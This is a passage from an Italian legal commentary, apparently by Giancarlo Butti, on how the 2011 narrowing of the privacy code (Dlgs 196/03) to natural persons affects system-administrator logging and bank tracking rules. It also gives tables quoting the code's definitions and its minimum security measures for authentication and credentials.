"3-bis. Il trattamento dei dati personali relativi a persone
giuridiche, imprese, enti o associazioni effettuato nell'ambito
di rapporti intercorrenti esclusivamente tra i medesimi soggetti
per le finalita' amministrativo - contabili, come definite all'articolo 34, comma 1-ter, non e' soggetto all'applicazione del
presente codice.";
Tale semplificazione, sebbene di ampia portata,
introduceva una serie di incongruenze piuttosto evidenti.
Infatti la limitazione alle sole persone fisiche della
tutela introdotta dal Dlgs 196/03, poteva essere
messa in atto solo nel caso in cui il Titolare del trattamento non fosse una persona fisica.
Quindi paradossalmente, mentre un’azienda non
era più tenuta, ad esempio, a rilasciare l’informativa
ad altre aziende (ma solo alle persone fisiche), un
libero professionista avrebbe dovuto continuare a
rilasciarla sia alle persone fisiche, sia alle persone giuridiche, enti, associazioni… dei quali trattava i dati.
Tale comma viene successivamente abrogato dal
Decreto Legge 6 dicembre 2011, n. 201, convertito, con modificazioni, dalla legge 22 dicembre
2011, n. 214 che ha introdotto la seguente variazione:
Art. 4. Definizioni
1. Ai fini del presente codice si intende per:
b) "dato personale", qualunque informazione relativa a
persona fisica, identificata o identificabile, anche indirettamente, mediante riferimento a qualsiasi altra informazione, ivi
compreso un numero di identificazione personale.
Definizione attualmente in vigore.
Tale semplificazione è invece chiara e senza ambiguità (almeno in apparenza) e di ampia portata.
7. Gli effetti della riduzione del perimetro
La riduzione alle sole persone fisiche (ma anche
questo come vedremo non è del tutto vero) della
tutela prevista dalla normativa privacy può avere
degli effetti imprevisti, sia su alcuni aspetti formali,
sia sull’applicazione di altri adempimenti che interessano i sistemi informativi.
Consideriamo prima di tutto quale sia la reale
portata di questa limitazione del perimetro.
Si è soliti considerare fra le persone fisiche i clienti (che siano effettivamente persone fisiche), i dipendenti, i collaboratori, i loro familiari, i cittadini…
In realtà non è proprio così; la formulazione della
normativa con la sua definizione attuale, non può
prescindere dalla sua formulazione precedente, che
comprendeva anche persone giuridiche, enti, associazioni…
In questo contesto è più che lecito porre la questione su come devono essere considerati ad esempio
professionisti ed artigiani.
65
Giancarlo Butti
Sono persone fisiche, e quindi tutelati dalla normativa, o prevale la loro condizione professionale e
quindi ne sono esclusi?
Al riguardo il Garante per la protezione dei dati
personali nella sua pubblicazione “La Privacy dalla
parte dell’impresa” cita seppure in un altro contesto
“…persona fisica (si pensi all’imprenditore individuale)…”.
Il legislatore per contro ha proposto ulteriori limitazioni alla tutela, alcune delle quali non sono state
successivamente convertite in legge.
Al di là di questo aspetto si introduce un’ulteriore
considerazione. A partire dall’entrata in vigore della
legge 675/96 appariva chiaro che, fra i soggetti tutelati dalla normativa, non rientravano solo quelli con
cui il Titolare aveva un rapporto diretto quali, ad
esempio, le aziende clienti e le aziende fornitrici.
Nella realtà infatti, non sussistono solo le relazioni fra le entità, in quanto prevalgono le relazioni fra
persone fisiche.
In altre parole i dipendenti ed i collaboratori del
Titolare interagiscono (e quindi trattano i dati) di collaboratori e dipendenti di clienti e fornitori. I dati di
tali soggetti sono presenti sui sistemi informativi e sui
documenti del Titolare. Tutti questi soggetti sono e
rimangono, tutelati dalla normativa, anche se per
palese impossibilità di gestire gli adempimenti formali con ognuno di essi, non sono mai stati considerati
salvo il caso di rare eccezioni: ad esempio quando un
Titolare di trattamento designa direttamente come
incaricato o come amministratore di sistema il dipendente/collaboratore di un soggetto terzo.
In questi casi i Titolari più virtuosi si ricordano
che tali soggetti sono tutelati dalla normativa, rilasciando loro oltre che ad una lettera di incarico anche
una informativa.
Le considerazioni di cui sopra non hanno effetti
solo di natura formale, ma anche sostanziale.
Solo per i dati dei soggetti tutelati dalla normativa
si devono, ad esempio, applicare le misure di sicurezza, siano queste minime o adeguate (al di là degli
aspetti di buon senso, che consiglierebbero di mantenere e manutenere quanto si è già fatto).
Consideriamo ora anche alcuni altri aspetti non
immediatamente percebili.
La limitazione del perimetro di tutela ed una più
chiara definizione di cosa si intenda per trattamenti
effettuati per finalità amministrativo-contabili può
impattare ad esempio sul provvedimento relativo agli
amministratori di sistema.
Com’è noto tale provvedimento esclude dall’am-
66
bito di applicazione proprio i trattamenti amministrativo-contabili.
Art. 4. Misure e accorgimenti prescritti ai titolari dei trattamenti effettuati con strumenti elettronici
Di seguito sono indicati gli accorgimenti e le misure che
vengono prescritti ai sensi dell'art. 154, comma 1, lett. c) del
Codice, a tutti i titolari dei trattamenti di dati personali effettuati con strumenti elettronici, esclusi, allo stato, quelli effettuati in ambito pubblico e privato a fini amministrativo-contabili che, ponendo minori rischi per gli interessati, sono stati
oggetto delle recenti misure di semplificazione (art. 29 d.l. 25
giugno 2008, n. 112, conv., con mod., con l. 6 agosto 2008,
n. 133; art. 34 del Codice; Provv. Garante 6 novembre
2008).
In base alla definizione successivamente introdotta all’art. 34 1-ter, sono ben pochi i normali ambiti
aziendali che potrebbero non rientrare in tale definizioni, svuotando di fatto la portata del provvedimento.
A ciò si aggiunge la recente ulteriore limitazione
del perimetro, che limita l’ambito di tutela (e quindi
di applicazione dell’intera normativa, compreso tale
provvedimento), ai soli dati relativi alle persone fisiche.
È evidente che il fare di più, registrando anche gli
accessi degli amministratori di sistema a dati e sistemi
non tutelati dalla normativa, potrebbe anche in questo caso apparire vantaggioso.
Tuttavia è necessario valutare un aspetto, che avrà
impatti ancora maggiori nella applicazione del provvedimento che andremo ad analizzare successivamente.
La registrazione degli accessi degli amministratori
di sistema comporta il trattamento di dati di persone
fisiche.
La stessa normativa, che ora tutela solo tale tipologia dati, impone quindi di rivedere adeguatamente il
proprio perimetro di registrazione. Non essendo più
imposta da un provvedimento del Garante per la protezione dei dati personali, tale registrazione di dati
personali, estesa agli accessi ai sistemi che trattano
dati di persone giuridiche o che trattano dati amministrativi e contabili, potrebbe di fatto essere considerata illecita o quantomeno eccessiva.
Giova anche ricordare i potenziali impatti derivanti dall’applicazione sul provvedimento dell’art. 4
dello Statuto dei lavoratori, ora che la maggior parte
di tali registrazioni non è più giustificata dal punto di
vista normativo.
Le aziende quindi, che già poco avevano apprezzato questo oneroso adempimento normativo,
hanno ora tutti gli strumenti per giustificarne la mancata adozione.
Riprendendo i concetti appena esposti, appare
evidente quanto risulterà complessa l’applicazione
del: Prescrizioni in materia di circolazione delle
informazioni in ambito bancario e di tracciamento delle operazioni bancarie - 12 maggio
2011 (G.U. n. 127 del 3 giugno 2011), il quale prescrive
non solo la registrazione dell’accesso ai dati da parte
di un limitato numero di soggetti, quali gli amministratori di sistema, ma anche da parte di tutti gli altri
incaricati, come meglio specificato al punto 4.2.1.
Punto 4.2.1. Tracciamento delle operazioni.
…la registrazione dettagliata, in un apposito log, delle
informazioni riferite alle operazioni bancarie effettuate sui
dati bancari, quando consistono o derivano dall'uso interattivo dei sistemi operato dagli incaricati, sempre che non si tratti
di consultazioni di dati in forma aggregata non riconducibili
al singolo cliente.
Al di là dell’ambiguità delle definizioni, sulle quali
non interessa in questa sede entrare nel merito, ciò
che si evidenzia è che relativamente a questo provvedimento, il richiamo all’articolo 4 dello Statuto dei
lavoratori ed alla conseguente necessità di definire un
accordo sindacale è stato richiamato direttamente dal
Garante per la protezione dei dati personali.
Le misure di cui al presente paragrafo sono adottate nel
rispetto della vigente disciplina in materia di controllo a
distanza dei lavoratori (art. 4, l. 20 maggio 1970, n. 300),
tenendo altresì conto dei princìpi affermati dal Garante in
tema di informativa agli interessati nelle linee guida sull'utilizzo della posta elettronica e di internet (Provv. 1° marzo
2007, doc. web n. 1387522).
Se prima della variazione introdotta dalla legge
214/2011 la definizione di tale accordo appariva
complessa, ora sarà veramente difficile.
Appare evidente che sarà lecito richiedere la limitazione delle registrazioni ai soli log di accesso ed
operatività sui dati bancari dei clienti tutelati dal Dlgs
196/03, cioè delle persone fisiche.
Che le varie applicazioni bancarie siano realizzate
per separare adeguatamente e preventivamente le
posizioni dei vari clienti in base al fatto che si tratti di
persone fisiche o di persone giuridiche è quantomeno dubbio. Tale criterio deve essere inoltre applicato
in ogni fase del processo di trattamento.
Per ora il provvedimento è stato rimandato a giugno 2014 e quindi i Titolari di trattamento (le banche) hanno ancora qualche mese per adeguarsi a
quanto richiesto dallo stesso.
Da ultimo un cenno sulla protezione garantita dal
Dlgs 196/03 alle persone diverse da quelle fisiche.
La semplificazione introdotta non ha escluso
completamente la tutela del Codice a questi soggetti.
Infatti nella parte del Codice - Capo I - Servizi di
comunicazione elettronica, vengono introdotti i concetti di “contraente” ed “utente” i quali, in base alle
definizioni presenti nell’attuale versione del Codice:
f) "contraente", qualunque persona fisica, persona giuridica, ente o associazione parte di un contratto con un fornitore
di servizi di comunicazione elettronica accessibili al pubblico
per la fornitura di tali servizi, o comunque destinatario di tali
servizi tramite schede prepagate;
g) "utente", qualsiasi persona fisica che utilizza un servizio di comunicazione elettronica accessibile al pubblico, per
motivi privati o commerciali, senza esservi necessariamente
abbonata;
si riferiscono sia alle persone fisiche sia a quelle
giuridiche.
Queste ultime quindi ricompaiono, anche se con
una tutela in parte più limitata, relativamente ad
ambiti molto significativi quali quelli relativi alle
comunicazioni in ambito marketing.
Al riguardo il Garante per la protezione dei dati
personali ha emesso uno specifico provvedimento.
Provvedimento in ordine all'applicabilità alle
persone giuridiche del Codice in materia di protezione dei dati personali a seguito delle modifiche apportate dal d.l. n. 201/2011 - 20 settembre
2012
(Pubblicato sulla Gazzetta Ufficiale n. 268 del 16
novembre 2012)
Meglio quindi continuare a rilasciare anche alle
persone giuridiche un’adeguata informativa se si
desiderano utilizzare i loro dati per finalità di marketing ed a tutelare adeguatamente i loro dati.
67
Giancarlo Butti
Tabella 1: Definizioni
Perimetro di
applicazione
Art. 5. Oggetto ed ambito di applicazione
1. Il presente codice disciplina il trattamento di dati personali, anche detenuti all'estero, effettuato da chiunque
è stabilito nel territorio dello Stato o in un luogo comunque soggetto alla sovranità dello Stato.
2. Il presente codice si applica anche al trattamento di dati personali effettuato da chiunque è stabilito nel territorio di un Paese non appartenente all'Unione europea e impiega, per il trattamento, strumenti situati nel
territorio dello Stato anche diversi da quelli elettronici, salvo che essi siano utilizzati solo ai fini di transito nel
territorio dell'Unione europea. In caso di applicazione del presente codice, il titolare del trattamento designa un
proprio rappresentante stabilito nel territorio dello Stato ai fini dell'applicazione della disciplina sul trattamento dei dati personali.
3. Il trattamento di dati personali effettuato da persone fisiche per fini esclusivamente personali è soggetto
all'applicazione del presente codice solo se i dati sono destinati ad una comunicazione sistematica o alla diffusione. Si applicano in ogni caso le disposizioni in tema di responsabilità e di sicurezza dei dati di cui agli articoli 15 e 31.
Il perimetro di applicazione della normativa è molto amplio e comprende:
• trattamenti effettuati in Italia da Titolari stabiliti in Italia
• trattamenti effettuati all’estero da Titolari
• trattamenti effettuati anche in Italia da soggetti stabiliti nel territorio di un Paese non appartenente all'Unione
europea
Fatto non molto noto, il rispetto del Dlgs 196/03 è obbligatorio per tutti, anche per il semplice cittadino e non solo
per aziende, enti, professionisti. In particolare nel caso in cui tali dati siano destinati a diffusione (ad esempio pubblicazione su un sito Internet, televisione, radio) o comunicazione sistematica si applica per intero la normativa privacy.
Dato personale
Art. 4. Definizioni
…
b) "dato personale", qualunque informazione relativa a persona fisica, identificata o identificabile, anche indirettamente, mediante riferimento a qualsiasi altra informazione, ivi compreso un numero di identificazione
personale;
…
La definizione di dato personale (*) è molto più labile di quanto possa apparire ad una prima lettura.
Innanzi tutto un dato non nasce come “dato personale”, ma assume tale caratteristica unicamente se è riconducibile
in qualche modo, direttamente o indirettamente ad una persona fisica.
Un esempio può chiarire meglio questo aspetto, spesso trascurato.
Supponiamo che a 10 ragazzi sia sottoposto un questionario anonimo, composto da numerose domande. L’insieme
dei dati raccolti costituisce una serie di informazioni che non possono essere ricondotte ai singoli individui, in quanto
come precisato, il questionario è anonimo.
Supponiamo tuttavia che una delle domande consenta indirettamente di identificare il sesso di una persona, e che fra
questi 10 individui una sola persona sia di sesso femminile.
In questo caso le informazioni contenute nel questionario della ragazza saranno abbinabili ad una reale persona fisica, diventando quindi dati personali.
Tutti gli altri questionari anonimi non conterranno dati personali, pur contenendo le medesime informazioni.
L’esempio consente anche di comprendere come si possa interpretare il concetto di identificabile. Un dato personale
è tale se è riconducibile direttamente o indirettamente ad una specifica persona fisica.
I singoli questionari anonimi non sono riconducibili a specifiche persone fisiche salvo il caso di quello relativo alla
ragazza.
Aspetto particolarmente importante è che non è rilevante la forma con cui una informazione viene espressa, perché
questa assuma il carattere di dato personale. Ad esempio è un dato personale anche l’immagine di una persona purché questa sia riconducibile ad una persona fisica identificata o identificabile.
(*) Successivamente alle recentissime variazioni normative (legge 22 dicembre 2011, n. 214), il perimetro di tutela del Dlgs 196/03 è stato limitato ai soli dati personali
delle persone fisiche.
68
Dato sensibile
Art. 4. Definizioni
…
d) "dati sensibili", i dati personali idonei a rivelare l'origine razziale ed etnica, le convinzioni religiose, filosofiche o di altro genere, le opinioni politiche, l'adesione a partiti, sindacati, associazioni od organizzazioni a
carattere religioso, filosofico, politico o sindacale, nonché i dati personali idonei a rivelare lo stato di salute e la
vita sessuale;
Anche la definizione di dato sensibile non è univoca e assoluta.
Genericamente è possibile considerare sensibile un dato personale che potrebbe essere in qualche modo discriminante per una persona.
Fra questi rientrano quindi quelli relativi alle convinzioni, alle opinioni, ai costumi ed allo stato di salute…
La lettura attenta della definizione porta ad individuare un ampio margine di interpretazione in particolare per quanto
attiene le convinzioni; il Dlgs 196/03 infatti così recita:
…convinzioni religiose, filosofiche o di altro genere
Ulteriore aspetto particolarmente importante riguarda il termine utilizzato dalla normativa per caratterizzare i dati
sensibili.
Tali dati non sono quelli relativi a una determinata condizione della persona fisica, ma quelli idonei a rivelare tale
condizione.
Tale concetto è molto più ampio del precedente in quanto porta a considerare come sensibile anche il solo dato che
porterebbe a ritenere vera una determinata condizione.
Questo amplia notevolmente il perimetro dei dati considerabili come sensibili.
Ad esempio potrebbero essere considerati tali anche gli estratti conto di una banca, non tanto per gli importi in essa
indicati, quanto per le causali, che potrebbero riportare elargizioni in favore di enti religiosi, partiti politici, pagamenti
di fatture a cliniche o specialisti…
Trattamento
Art. 2. Finalità
1. Il presente testo unico, di seguito denominato "codice", garantisce che il trattamento dei
dati personali si svolga nel rispetto dei diritti e delle libertà fondamentali, nonché della dignità
dell'interessato, con particolare riferimento alla riservatezza, all'identità personale e al diritto
alla protezione dei dati personali.
2. Il trattamento dei dati personali è disciplinato assicurando un elevato livello di tutela dei
diritti e delle libertà di cui al comma 1 nel rispetto dei principi di semplificazione, armonizzazione ed efficacia delle modalità previste per il loro esercizio da parte degli interessati, nonché
per l'adempimento degli obblighi da parte dei titolari del trattamento.
Art. 4. Definizioni
a) "trattamento", qualunque operazione o complesso di operazioni, effettuati anche senza l'ausilio di strumenti elettronici, concernenti la raccolta, la registrazione, l'organizzazione, la conservazione, la consultazione, l'elaborazione, la modificazione, la selezione, l'estrazione, il raffronto, l'utilizzo, l'interconnessione, il blocco, la comunicazione, la diffusione, la cancellazione
e la distruzione di dati, anche se non registrati in una banca di dati;
La corretta conoscenza della definizione di trattamento è fondamentale per comprendere il perimetro di applicazione
del Dlgs 196/03.
Per trattamento si intendono infatti le più comuni operazioni eseguite sui dati personali.
Rientrano in questa casistica anche la semplice consultazione (presa visione) o la registrazione (ad esempio dei log) e
conservazione.
Interessato
Art. 4. Definizioni
…
i) "interessato", la persona fisica, cui si riferiscono i dati personali;
69
Giancarlo Butti
Titolare
Responsabile
Incaricato
Art. 4. Definizioni
…
f) "titolare", la persona fisica, la persona giuridica, la pubblica amministrazione e qualsiasi altro ente, associazione od organismo cui competono, anche unitamente ad altro titolare, le decisioni in ordine alle finalità, alle
modalità del trattamento di dati personali e agli strumenti utilizzati, ivi compreso il profilo della sicurezza;
Art. 4. Definizioni
…
g) "responsabile", la persona fisica, la persona giuridica, la pubblica amministrazione e qualsiasi altro ente,
associazione od organismo preposti dal titolare al trattamento di dati personali;
Art. 4. Definizioni
…
h) "incaricati", le persone fisiche autorizzate a compiere operazioni di trattamento dal titolare o dal responsabile;
Il Titolare del trattamento è la società, l’ente…, il libero professionista; non è il legale rappresentante di tali soggetti.
Il Responsabile è una figura facoltativa; può essere persona fisica o giuridica, interno o esterno alla struttura del
Titolare. Può esserci più di un Responsabile.
L’incaricato può essere solo una persona fisica.
70
Tabella 2: La regolamentazione della sicurezza
La regolamentazione degli aspetti relativi alla sicurezza è disciplinata nell’ambito della normativa privacy da:
• Dlgs 196/03 tramite gli articoli (art. 3 e artt. 30-36); la versione costantemente aggiornata del Dlgs 196/03 è disponibile sul sito www.garanteprivacy.it
• Allegato B - Disciplinare tecnico in materia di misure minime di sicurezza
• una serie di atti del Garante per la protezione dei dati personali; fra i principali si elencano i seguenti:
Etichette intelligenti (Rfid):
Dispositivi biometrici
Videosorveglianza
Distruzione di apparecchiature e supporti
Amministratori di sistema
Utilizzo di posta elettronica ed Internet
"Etichette intelligenti" (Rfid): il Garante individua le garanzie
per il loro uso
(9 marzo 2005)
Linee guida in materia di trattamento di dati personali di lavoratori per finalità di gestione del rapporto di lavoro alle dipendenze
di datori di lavoro privati
(Deliberazione n. 53 del 23 novembre 2006)
Provvedimento in materia di videosorveglianza - 8 aprile 2010
(G.U. n. 99 del 29 aprile 2010)
Rifiuti di apparecchiature elettriche ed elettroniche (Raae) e
misure di sicurezza dei dati personali - 13 ottobre 2008
(G.U. n. 287 del 9 dicembre 2008)
Misure e accorgimenti prescritti ai titolari dei trattamenti effettuati con strumenti elettronici relativamente alle attribuzioni delle
funzioni di amministratore di sistema
(Provvedimenti a carattere generale - 27 novembre 2008) e successive modificazioni
Lavoro: le linee guida del Garante per posta elettronica e internet
(G.U. n. 58 del 10 marzo 2007)
Aspetti relativi alla sicurezza sono inoltre trattati nei seguenti atti:
Guida pratica e misure di semplificazione per le piccole e medie imprese - 24 maggio 2007
(G.U. n. 142 del 21 giugno 2007)
Semplificazione delle misure di sicurezza contenute nel disciplinare tecnico di cui all'Allegato B) al Codice
in materia di protezione dei dati personali - 27 novembre 2008
(G.U. n. 287 del 9 dicembre 2008)
Semplificazioni di taluni adempimenti in ambito pubblico e privato rispetto a trattamenti per finalità amministrative e contabili - 19 giugno 2008
(G.U. n. 152 del 1° luglio 2008)
Prescrizioni in materia di circolazione delle informazioni in ambito bancario e di tracciamento delle operazioni bancarie - 12 maggio 2011
(G.U. n. 127 del 3 giugno 2011)
71
Giancarlo Butti
Tabella 3: Misure di sicurezza
Dlgs 30 giugno 2003, n. 196 - CODICE IN MATERIA DI PROTEZIONE DEI DATI PERSONALI
Titolo V - Sicurezza dei dati e dei sistemi
Capo I - Misure di sicurezza
Art. 31. Obblighi di sicurezza
1. I dati personali oggetto di trattamento sono custoditi e controllati, anche in relazione alle conoscenze acquisite in base al progresso tecnico, alla natura dei dati e alle specifiche caratteristiche del trattamento, in modo da ridurre al minimo, mediante l'adozione di idonee e preventive misure di sicurezza, i rischi di distruzione o perdita, anche accidentale, dei dati stessi, di accesso non autorizzato o di trattamento
non consentito o non conforme alle finalità della raccolta.
Art. 32. Particolari titolari
1. Il fornitore di un servizio di comunicazione elettronica accessibile al pubblico adotta, ai sensi dell'articolo 31, anche attraverso altri
soggetti a cui sia affidata l'erogazione del predetto servizio, misure tecniche e organizzative adeguate al rischio esistente, per salvaguardare
la sicurezza dei suoi servizi e per gli adempimenti di cui all'articolo 32-bis. (2)
1-bis. Ferma restando l'osservanza degli obblighi di cui agli articoli 30 e 31, i soggetti che operano sulle reti di comunicazione elettronica
garantiscono che i dati personali siano accessibili soltanto al personale autorizzato per fini legalmente autorizzati. (3)
1-ter. Le misure di cui ai commi 1 e 1-bis garantiscono la protezione dei dati relativi al traffico ed all'ubicazione e degli altri dati personali archiviati o trasmessi dalla distruzione anche accidentale, da perdita o alterazione anche accidentale e da archiviazione, trattamento,
accesso o divulgazione non autorizzati o illeciti, nonché assicurano l'attuazione di una politica di sicurezza. (3)
2. Quando la sicurezza del servizio o dei dati personali richiede anche l'adozione di misure che riguardano la rete, il fornitore del servizio
di comunicazione elettronica accessibile al pubblico adotta tali misure congiuntamente con il fornitore della rete pubblica di comunicazioni.
In caso di mancato accordo, su richiesta di uno dei fornitori, la controversia è definita dall'Autorità per le garanzie nelle comunicazioni
secondo le modalità previste dalla normativa vigente.
3. Il fornitore di un servizio di comunicazione elettronica accessibile al pubblico informa i contraenti e, ove possibile, gli utenti, se sussiste
un particolare rischio di violazione della sicurezza della rete, indicando, quando il rischio è al di fuori dell'ambito di applicazione delle
misure che il fornitore stesso è tenuto ad adottare ai sensi dei commi 1, 1-bis e 2, tutti i possibili rimedi e i relativi costi presumibili.
Analoga informativa è resa al Garante e all'Autorità per le garanzie nelle comunicazioni. (4)
* Ai sensi dell'art. 1, comma 12, del decreto legislativo 28 maggio 2012, n. 69, la parola "contraente" ha sostituito la parola "abbonato", ovunque ricorrente nel decreto
legislativo 30 giugno 2003, n. 196.
(1) Rubrica così sostituita dall'art. 1, comma 2, lett. a), del decreto legislativo 28 maggio 2012, n. 69.
(2) Comma così sostituito dall'art. 1, comma 2, lett. b), del decreto legislativo 28 maggio 2012, n. 69.
(3) Comma inserito dall'art. 1, comma 2, lett. c), del decreto legislativo 28 maggio 2012, n. 69.
(4) Comma così modificato dall'art. 1, comma 2, lett. d), del decreto legislativo 28 maggio 2012, n. 69.
Art. 32-bis Adempimenti conseguenti ad una violazione di dati personali (1)
1. In caso di violazione di dati personali, il fornitore di servizi di comunicazione elettronica accessibili al pubblico comunica senza indebiti ritardi detta violazione al Garante.
2. Quando la violazione di dati personali rischia di arrecare pregiudizio ai dati personali o alla riservatezza del contraente o di altra persona, il fornitore comunica anche agli stessi senza ritardo l'avvenuta violazione.
3. La comunicazione di cui al comma 2 non é dovuta se il fornitore ha dimostrato al Garante di aver utilizzato misure tecnologiche di
protezione che rendono i dati inintelligibili a chiunque non sia autorizzato ad accedervi e che tali misure erano state applicate ai dati
oggetto della violazione.
4. Ove il fornitore non vi abbia già provveduto, il Garante può, considerate le presumibili ripercussioni negative della violazione, obbligare
lo stesso a comunicare al contraente o ad altra persona l'avvenuta violazione.
5. La comunicazione al contraente o ad altra persona contiene almeno una descrizione della natura della violazione di dati personali e i
punti di contatto presso cui si possono ottenere maggiori informazioni ed elenca le misure raccomandate per attenuare i possibili effetti pregiudizievoli della violazione di dati personali. La comunicazione al Garante descrive, inoltre, le conseguenze della violazione di dati personali e le misure proposte o adottate dal fornitore per porvi rimedio.
6. Il Garante può emanare, con proprio provvedimento, orientamenti e istruzioni in relazione alle circostanze in cui il fornitore ha l'obbligo di comunicare le violazioni di dati personali, al formato applicabile a tale comunicazione, nonchè alle relative modalità di effettuazione, tenuto conto delle eventuali misure tecniche di attuazione adottate dalla Commissione europea ai sensi dell'articolo 4, paragrafo 5,
della direttiva 2002/58/CE, come modificata dalla direttiva 2009/136/CE.
72
7. I fornitori tengono un aggiornato inventario delle violazioni di dati personali, ivi incluse le circostanze in cui si sono verificate, le loro
conseguenze e i provvedimenti adottati per porvi rimedio, in modo da consentire al Garante di verificare il rispetto delle disposizioni del
presente articolo. Nell'inventario figurano unicamente le informazioni necessarie a tal fine.
8. Nel caso in cui il fornitore di un servizio di comunicazione elettronica accessibile al pubblico affidi l'erogazione del predetto servizio ad
altri soggetti, gli stessi sono tenuti a comunicare al fornitore senza indebito ritardo tutti gli eventi e le informazioni necessarie a consentire
a quest'ultimo di effettuare gli adempimenti di cui al presente articolo.
(1) Articolo inserito dall'art. 1, comma 3, del decreto legislativo 28 maggio 2012, n. 69.
Capo II - Misure minime di sicurezza
Art. 33. Misure minime
1. Nel quadro dei più generali obblighi di sicurezza di cui all'articolo 31, o previsti da speciali disposizioni, i titolari del trattamento
sono comunque tenuti ad adottare le misure minime individuate nel presente capo o ai sensi dell'articolo 58, comma 3, volte ad assicurare
un livello minimo di protezione dei dati personali.
1. Il trattamento di dati personali effettuato con strumenti elettronici è consentito solo se sono adottate, nei modi previsti dal disciplinare
tecnico contenuto nell'allegato B), le seguenti misure minime:
a) autenticazione informatica;
b) adozione di procedure di gestione delle credenziali di autenticazione;
c) utilizzazione di un sistema di autorizzazione;
d) aggiornamento periodico dell'individuazione dell'ambito del trattamento consentito ai singoli incaricati e addetti alla gestione o alla
manutenzione degli strumenti elettronici;
e) protezione degli strumenti elettronici e dei dati rispetto a trattamenti illeciti di dati, ad accessi non consentiti e a determinati programmi
informatici;
f) adozione di procedure per la custodia di copie di sicurezza, il ripristino della disponibilità dei dati e dei sistemi;
g) [soppressa] (1);
h) adozione di tecniche di cifratura o di codici identificativi per determinati trattamenti di dati idonei a rivelare lo stato di salute o la vita
sessuale effettuati da organismi sanitari.
1-bis. [abrogato] (2)
1-ter. Ai fini dell'applicazione delle disposizioni in materia di protezione dei dati personali, i trattamenti effettuati per finalità amministrativo-contabili sono quelli connessi allo svolgimento delle attività di natura organizzativa, amministrativa, finanziaria e contabile, a
prescindere dalla natura dei dati trattati. In particolare, perseguono tali finalità le attività organizzative interne, quelle funzionali all'adempimento di obblighi contrattuali e precontrattuali, alla gestione del rapporto di lavoro in tutte le sue fasi, alla tenuta della contabilità e
all'applicazione delle norme in materia fiscale, sindacale, previdenziale-assistenziale, di salute, igiene e sicurezza sul lavoro. (3)
(1) Lettera soppressa dall'art. 45, comma 1, lett. c), del decreto legge 9 febbraio 2012, n. 5, convertito, con modificazioni, dalla legge 4 aprile 2012, n. 35. Si riporta, per
completezza, il testo originale: "tenuta di un aggiornato documento programmatico sulla sicurezza".
(2) Comma aggiunto dall'art. 6, comma 2, lett. a), numero 5), del decreto legge 13 maggio 2011, n. 70, convertito, con modificazioni, dalla legge 12 luglio 2011, n. 106
(in sostituzione del precedente comma 1-bis aggiunto dall'art. 29, comma 1, del decreto legge 25 giugno 2008, n. 112, convertito, con modificazioni, dalla legge 6 agosto
2008, n. 133), e successivamente abrogato dall'art. 45, comma 1, lett. c), del decreto legge 9 febbraio 2012, n. 5, convertito, con modificazioni, dalla legge 4 aprile 2012,
n. 35.
(3) Comma aggiunto dall'art. 6, comma 2, lett. a), numero 5), del decreto legge 13 maggio 2011, n. 70, convertito, con modificazioni, dalla legge 12 luglio 2011, n. 106,
in sostituzione del precedente comma 1-bis aggiunto dall'art. 29, comma 1, del decreto legge 25 giugno 2008, n. 112, convertito, con modificazioni, dalla legge 6 agosto
2008, n. 133.
Art. 35. Trattamenti senza l'ausilio di strumenti elettronici
1. Il trattamento di dati personali effettuato senza l'ausilio di strumenti elettronici è consentito solo se sono adottate, nei modi previsti dal
disciplinare tecnico contenuto nell'allegato B), le seguenti misure minime:
a) aggiornamento periodico dell'individuazione dell'ambito del trattamento consentito ai singoli incaricati o alle unità organizzative;
b) previsione di procedure per un'idonea custodia di atti e documenti affidati agli incaricati per lo svolgimento dei relativi compiti;
c) previsione di procedure per la conservazione di determinati atti in archivi ad accesso selezionato e disciplina delle modalità di accesso
finalizzata all'identificazione degli incaricati.
Art. 36. Adeguamento (1)
1. Il disciplinare tecnico di cui all'allegato B), relativo alle misure minime di cui al presente capo, è aggiornato periodicamente con decreto
del Ministro della giustizia di concerto con il Ministro per le innovazioni e le tecnologie e il Ministro per la semplificazione normativa, in
relazione all'evoluzione tecnica e all'esperienza maturata nel settore.
(1) Articolo così modificato dall'art. 29, comma 5-bis, del decreto legge 25 giugno 2008, n. 112, convertito, con modificazioni, dalla legge 6 agosto 2008, n. 133.
73
Giancarlo Butti
Codice in materia di protezione dei dati personali
B. Disciplinare tecnico in materia di misure minime di sicurezza
(Artt. da 33 a 36 del Codice)
Trattamenti con strumenti elettronici
Modalità tecniche da adottare a cura del titolare, del responsabile ove designato e dell'incaricato, in caso di trattamento con strumenti elettronici:
Sistema di autenticazione informatica
1. Il trattamento di dati personali con strumenti elettronici è consentito agli incaricati dotati di credenziali di autenticazione che consentano il superamento di una procedura di autenticazione relativa a uno specifico trattamento o a un insieme di trattamenti.
2. Le credenziali di autenticazione consistono in un codice per l'identificazione dell'incaricato associato a una parola chiave riservata
conosciuta solamente dal medesimo oppure in un dispositivo di autenticazione in possesso e uso esclusivo dell'incaricato, eventualmente
associato a un codice identificativo o a una parola chiave, oppure in una caratteristica biometrica dell'incaricato, eventualmente associata a
un codice identificativo o a una parola chiave.
3. Ad ogni incaricato sono assegnate o associate individualmente una o più credenziali per l'autenticazione.
4. Con le istruzioni impartite agli incaricati è prescritto di adottare le necessarie cautele per assicurare la segretezza della componente
riservata della credenziale e la diligente custodia dei dispositivi in possesso ed uso esclusivo dell'incaricato.
5. La parola chiave, quando è prevista dal sistema di autenticazione, è composta da almeno otto caratteri oppure, nel caso in cui lo strumento elettronico non lo permetta, da un numero di caratteri pari al massimo consentito; essa non contiene riferimenti agevolmente riconducibili all'incaricato ed è modificata da quest'ultimo al primo utilizzo e, successivamente, almeno ogni sei mesi. In caso di trattamento di
dati sensibili e di dati giudiziari la parola chiave è modificata almeno ogni tre mesi.
6. Il codice per l'identificazione, laddove utilizzato, non può essere assegnato ad altri incaricati, neppure in tempi diversi.
7. Le credenziali di autenticazione non utilizzate da almeno sei mesi sono disattivate, salvo quelle preventivamente autorizzate per soli
scopi di gestione tecnica.
8. Le credenziali sono disattivate anche in caso di perdita della qualità che consente all'incaricato l'accesso ai dati personali.
9. Sono impartite istruzioni agli incaricati per non lasciare incustodito e accessibile lo strumento elettronico durante una sessione di trattamento.
10. Quando l'accesso ai dati e agli strumenti elettronici è consentito esclusivamente mediante uso della componente riservata della credenziale per l'autenticazione, sono impartite idonee e preventive disposizioni scritte volte a individuare chiaramente le modalità con le quali il
titolare può assicurare la disponibilità di dati o strumenti elettronici in caso di prolungata assenza o impedimento dell'incaricato che renda
indispensabile e indifferibile intervenire per esclusive necessità di operatività e di sicurezza del sistema. In tal caso la custodia delle copie
